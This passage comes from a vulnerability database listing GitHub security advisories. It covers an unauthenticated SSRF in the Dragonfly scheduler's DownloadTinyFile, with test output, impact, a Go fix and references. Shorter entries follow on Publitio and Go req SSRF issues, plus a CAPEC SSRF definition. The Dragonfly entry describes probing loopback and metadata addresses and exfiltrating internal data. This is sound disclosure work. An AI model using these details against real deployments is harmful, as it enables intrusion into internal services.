while a global-unicast target still works:\n\n```golang\nclient := \u0026http.Client{\n    Timeout: 5 * time.Second,\n    Transport: \u0026http.Transport{\n        DialContext:     nethttp.NewSafeDialer().DialContext, // \u003c-- THE FIX\n        TLSClientConfig: \u0026tls.Config{InsecureSkipVerify: true},\n    },\n}\n```\n\nOutput:\n\n```\n[patched] host global-unicast IP for positive case: 192.168.1.27\n\n=== PATCHED DownloadTinyFile (SafeDialer applied) ===\n  loopback 127.0.0.1:58059        =\u003e err=Get \"http://127.0.0.1:58059/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p1\": dial tcp 127.0.0.1:58059: ip 127.0.0.1 is invalid bytes=0\n  metadata 169.254.169.254:80     =\u003e err=Get \"http://169.254.169.254:80/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p2\": dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid bytes=0\n  global-unicast 192.168.1.27:58062 =\u003e err=\u003cnil\u003e bytes=31 (data=\"INTERNAL-SECRET-METADATA-abc123\")\n```\n\nAfter the fix, loopback and link-local metadata destinations are rejected, while a legitimate global-unicast peer download still succeeds.\n\n## Impact\n\nA remote, unauthenticated attacker who can reach the scheduler\u0027s gRPC port can:\n\n1. Probe internal services for liveness/open ports by observing timing and error differences (blind SSRF) against `127.0.0.1`, `169.254.0.0/16`, and RFC1918 addresses on ports `\u003e= 1024`.\n2. Exfiltrate up to `TinyFileSize` (128) bytes per task from reachable internal HTTP services: the scheduler stores the fetched body in `Task.DirectPiece`, which is then served to other peers via the direct-piece reuse path.\n\nThis is read-SSRF with limited exfiltration, not RCE. The `DownPort \u003e= 1024` proto constraint excludes destination port 80 (so a metadata service listening on `:80` is not directly reachable), but internal admin/debug/metrics endpoints, loopback services, and container-network services on high ports are reachable.\n\n## Patches / Remediation\n\nApply the same protection the manager preheat path already uses. In `DownloadTinyFile` (`scheduler/resource/standard/peer.go`), set the transport\u0027s `DialContext` to `nethttp.NewSafeDialer().DialContext` so that non-global-unicast destinations (loopback, link-local) are rejected at the socket-control layer:\n\n```golang\nclient := \u0026http.Client{\n    Timeout: 30 * time.Second,\n    Transport: \u0026http.Transport{\n        DialContext:     nethttp.NewSafeDialer().DialContext,\n        TLSClientConfig: \u0026tls.Config{InsecureSkipVerify: true},\n    },\n}\n```\n\nA defense-in-depth complement is to validate `peerHost.Ip` in `storeHost` (reject non-global-unicast addresses before storing them on the host), which would also cover other consumers of `Host.IP`. Note that `IsGlobalUnicast()` (as used by `safeSocketControl`) treats RFC1918 addresses as valid; closing internal-private SSRF entirely would require an additional private-range check, which is a pre-existing limitation shared with the manager path and may be out of scope for this fix.\n\n## References\n\n- Sink: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478\n- Attacker-controlled host ingestion: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845\n- Trigger (handlePeerSuccess): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202\n- Default insecure credentials: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246\n- gRPC interceptor chain (no auth): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L90\n- Sibling guard (manager preheat SafeDialer): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211\n- SafeDialer / safeSocketControl: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L50-L80",
  "id": "GHSA-chwm-m7g7-685g",
  "modified": "2026-07-06T20:57:42Z",
  "published": "2026-07-06T20:32:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-chwm-m7g7-685g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-fhf9-m53m-863g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/Dragonfly2/blob/main/scheduler/resource/standard/peer.go#L457-L459"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dragonflyoss/dragonfly"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L50-L80"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L90"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dragonfly scheduler v1 and v2 gRPC unauthenticated SSRF via attacker-controlled PeerHost in DownloadTinyFile"
}

GHSA-CJ43-P7Q8-248C

Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2026-04-01 18:36
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in publitio Publitio allows Server Side Request Forgery. This issue affects Publitio: from n/a through 2.2.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-58962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-22T19:16:22Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in publitio Publitio allows Server Side Request Forgery. This issue affects Publitio: from n/a through 2.2.1.",
  "id": "GHSA-cj43-p7q8-248c",
  "modified": "2026-04-01T18:36:18Z",
  "published": "2025-09-22T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58962"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/publitio/vulnerability/wordpress-publitio-plugin-2-2-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CJ55-GC7M-WVCQ

Vulnerability from github – Published: 2024-08-26 00:30 – Updated: 2024-11-18 16:27
VLAI
Summary
req may send an unintended request when a malformed URL is provided
Details

The req library is a widely used HTTP library in Go. However, it does not handle malformed URLs effectively. As a result, after parsing a malformed URL, the library may send HTTP requests to unexpected destinations, potentially leading to security vulnerabilities or unintended behavior in applications relying on this library for handling HTTP requests.

Despite developers potentially utilizing the net/url library to parse malformed URLs and implement blocklists to prevent HTTP requests to listed URLs, inconsistencies exist between how the net/url and req libraries parse URLs. These discrepancies can lead to the failure of defensive strategies, resulting in potential security threats such as Server-Side Request Forgery (SSRF) and Remote Code Execution (RCE).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/imroc/req/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.43.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/imroc/req"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.43.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/imroc/req/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.43.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45258"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-26T15:54:18Z",
    "nvd_published_at": "2024-08-25T22:15:05Z",
    "severity": "MODERATE"
  },
  "details": "The `req` library is a widely used HTTP library in Go. However, it does not handle malformed URLs effectively. As a result, after parsing a malformed URL, the library may send HTTP requests to unexpected destinations, potentially leading to security vulnerabilities or unintended behavior in applications relying on this library for handling HTTP requests.\n\nDespite developers potentially utilizing the `net/url` library to parse malformed URLs and implement blocklists to prevent HTTP requests to listed URLs, inconsistencies exist between how the `net/url` and `req` libraries parse URLs. These discrepancies can lead to the failure of defensive strategies, resulting in potential security threats such as Server-Side Request Forgery (SSRF) and Remote Code Execution (RCE).",
  "id": "GHSA-cj55-gc7m-wvcq",
  "modified": "2024-11-18T16:27:07Z",
  "published": "2024-08-26T00:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45258"
    },
    {
      "type": "WEB",
      "url": "https://github.com/imroc/req/commit/04e3ece5b380ecad9da3551c449f1b8a9aa76d3d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/imroc/req"
    },
    {
      "type": "WEB",
      "url": "https://github.com/imroc/req/compare/v3.43.3...v3.43.4"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-3098"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "req may send an unintended request when a malformed URL is provided"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.